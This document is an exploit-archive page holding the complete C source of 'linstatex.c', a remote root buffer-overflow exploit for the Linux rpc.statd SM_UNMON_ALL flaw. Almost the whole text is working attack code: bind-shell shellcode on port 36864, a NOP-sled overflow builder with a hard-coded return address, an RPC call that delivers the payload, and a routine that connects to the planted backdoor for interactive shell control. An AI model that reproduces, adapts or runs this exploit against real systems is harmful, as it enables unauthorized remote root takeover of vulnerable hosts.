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linstatex.c

linstatex.c
Posted Sep 28, 2000

Remote root overflow for linux rpc.statd SM_UNMON_ALL vulnerability. Author Unknown.

tags | exploit, remote, overflow, root
systems | linux
SHA-256 | 0fa89b935371a6e8bab5da0f4bbeb45ce6c63d141c65937a71cff963492e018c

linstatex.c

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/*
* -> PRIVATE. DO NOT USE. DO NOT DISTRIBUTE. <-
*
* linstatex.c
* December 28, 1999
* Remote root overflow for linux rpc.statd SM_UNMON_ALL vulnerability.
*
* statd-0.2.4.tar.gz from http://www.kr.kernel.org/pub/linux/daemons/statd/
*
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
#include <string.h>
#include <memory.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <rpcsvc/sm_inter_xdr.c>
#include <rpcsvc/sm_inter_clnt.c>

#define PROG 100024
#define VERS 0x01
#define PROC 0x04 /* SM_UNMON_ALL */
#define BD_PORT 36864
#define ADDR 0xbffff104
#define RETPOS 989
#define MR_NAME "elite"

char c0de[] =
"\xeb\x49\x5e\x29\xc0\x29\xdb\x40\x89\x46\x04\x40\x89\x06\xb0\x06\x89\x46\x08"
"\xb0\x66\x43\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x90\x66\x89"
"\x46\x0e\x8d\x46\x0c\x89\x46\x04\x29\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0"
"\x66\x43\xcd\x80\x29\xc0\x40\x89\x46\x04\xb3\x04\xb0\x66\xcd\x80\xeb\x02\xeb"
"\x4c\x29\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\x43\xcd\x80\x88\xc3\x29\xc9\xb0"
"\x3f\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb8\x2e\x62\x69\x6e\x40"
"\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89\x76\x08"
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x29\xc0\x40\xcd"
"\x80\xe8\x64\xff\xff\xff";

u_long
resolve_host(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;

addr.s_addr = inet_addr(host_name);
if (addr.s_addr == -1)
{
host_ent = gethostbyname(host_name);
if (!host_ent) return(0);
memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
}

return(addr.s_addr);
}

void
reclamation(u_long dst_ip)
{
struct sockaddr_in sin;
u_char sock_buf[4096];
fd_set fds;
int sock;

usleep(15000);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == -1)
{
perror("socket allocation");
exit(-1);
}

sin.sin_family = AF_INET;
sin.sin_port = htons(BD_PORT);
sin.sin_addr.s_addr = dst_ip;

if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
{
perror("connecting to backdoor");
close(sock);
exit(-1);
}

fprintf(stderr, "owned\n");
for (;;)
{
FD_ZERO(&fds);
FD_SET(0, &fds); /* STDIN_FILENO */
FD_SET(sock, &fds);

if (select(255, &fds, NULL, NULL, NULL) == -1)
{
perror("select");
close(sock);
exit(-1);
}

memset(sock_buf, 0, sizeof(sock_buf));

if (FD_ISSET(sock, &fds))
{
if (recv(sock, sock_buf, sizeof(sock_buf), 0) == -1)
{
fprintf(stderr, "Connection closed by foreign host.\n");
close(sock);
exit(0);
}

fprintf(stderr, "%s", sock_buf);
}

if (FD_ISSET(0, &fds))
{
read(0, sock_buf, sizeof(sock_buf));
write(sock, sock_buf, strlen(sock_buf));
}
}

/* NOTREACHED */
}

static u_char *
overflow_buf(u_int offset)
{
static u_char buf[4096];
u_long addr = ADDR + offset;
u_int retpos = RETPOS;
int i = 0, j = 0;

memset(buf, 0x90, sizeof(buf));

for (i = retpos - strlen(c0de); i < retpos; j++, i++)
{
buf[i] = c0de[j];
}

for (; i < retpos + 4; i += 4)
{
buf[i+0] = (addr & 0xff);
buf[i+1] = (addr >> 8) & 0xff;
buf[i+2] = (addr >> 16) & 0xff;
buf[i+3] = (addr >> 24) & 0xff;
}

buf[i] = 0;
memset(buf + i, 0, sizeof(buf) - i);

return(buf);
}

void
exploit(u_long dst_ip, u_int offset)
{
struct sockaddr_in sin;
struct sm_stat_res stat_res;
struct mon mon_req;
struct timeval time_val;
CLIENT *clnt;
int sock = RPC_ANYSOCK;

time_val.tv_usec = 0;
time_val.tv_sec = 10;

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst_ip;

clnt = clntudp_create(&sin, PROG, VERS, time_val, &sock);
if (!clnt)
{
fprintf(stderr, "err: clntudp_create(): is host running statd?\n");
exit(-1);
}

memset(&mon_req, 0, sizeof(struct mon));
mon_req.mon_id.my_id.my_prog = PROG;
mon_req.mon_id.my_id.my_vers = VERS;
mon_req.mon_id.my_id.my_proc = PROC;
mon_req.mon_id.my_id.my_name = MR_NAME;
mon_req.mon_id.mon_name = overflow_buf(offset);
mon_req.priv[0] = '/';

if (clnt_call(clnt, PROC, (xdrproc_t)xdr_mon, &mon_req.mon_id,
(xdrproc_t)xdr_sm_stat_res, &stat_res, time_val)
!= RPC_SUCCESS)
{
usleep(10000);
clnt_destroy(clnt);
reclamation(dst_ip);
}

fprintf(stderr, "clnt_call() succeeded: is the daemon patched?\n");
clnt_destroy(clnt);
exit(0);
}

void
usage(u_char *nomenclature)
{
fprintf(stderr, "usage:\t%s dst_host|ip [-o offset]\n", nomenclature);
exit(0);
}

int
main(int argc, char **argv)
{
struct in_addr iaddr;
u_long dst_ip = 0;
u_int offset = 0;
char opt;

fprintf(stderr, "linstatex.c -- Linux rpc.statd SM_UNMON_ALL remote root ov
erflow\n");
if (argc < 2)
{
usage(argv[0]);
/* NOTREACHED */
}

dst_ip = resolve_host(argv[1]);
if (!dst_ip)
{
fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
exit(-1);
}

while ((opt = getopt(argc, argv, "o:")) != EOF)
{
switch(opt)
{
case 'o':
offset = (u_int)atoi(optarg);
break;
default:
usage(argv[0]);
/* NOTREACHED */
}
}

iaddr.s_addr = dst_ip;
fprintf(stderr, "Attacking target `%s`..\n", inet_ntoa(iaddr));
exploit(dst_ip, offset);
/* NOTREACHED */
}
/* www.hack.co.za [28 September 2000]*/
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